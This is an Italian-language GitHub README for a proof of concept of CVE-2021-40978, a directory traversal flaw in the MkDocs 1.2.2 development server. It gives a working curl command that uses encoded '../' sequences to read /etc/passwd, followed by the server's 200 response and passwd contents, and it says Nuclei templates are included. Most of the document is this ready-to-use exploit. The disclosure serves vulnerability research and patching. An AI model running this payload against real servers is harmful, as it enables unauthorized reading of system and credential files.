nisdn/cve-2021-40978Proof-of-concept per il directory traversal nel dev-server integrato di MkDocs 1.2.2, che consente la lettura arbitraria di file tramite path traversal codificato. Include esempi di template per curl e Nuclei.
Sfruttamento del directory traversal nel dev-server integrato di mkdocs
Mkdocs 1.2.2 consente il directory traversal attraverso il dev-server integrato che risponde sulla porta 8000. Di seguito alcuni esempi di percorsi sfruttati con successo:
Usando questa tecnica è possibile recuperare file al di fuori della directory root, consentendo a chiunque di leggere e scaricare file arbitrari.
curl http://0.0.0.0:8000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -i
HTTP/1.0 200 OK
Date: Mon, 04 Oct 2021 02:13:38 GMT
Server: WSGIServer/0.2 CPython/3.7.3
Content-Type: application/octet-stream
Content-Length: 2187
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync...
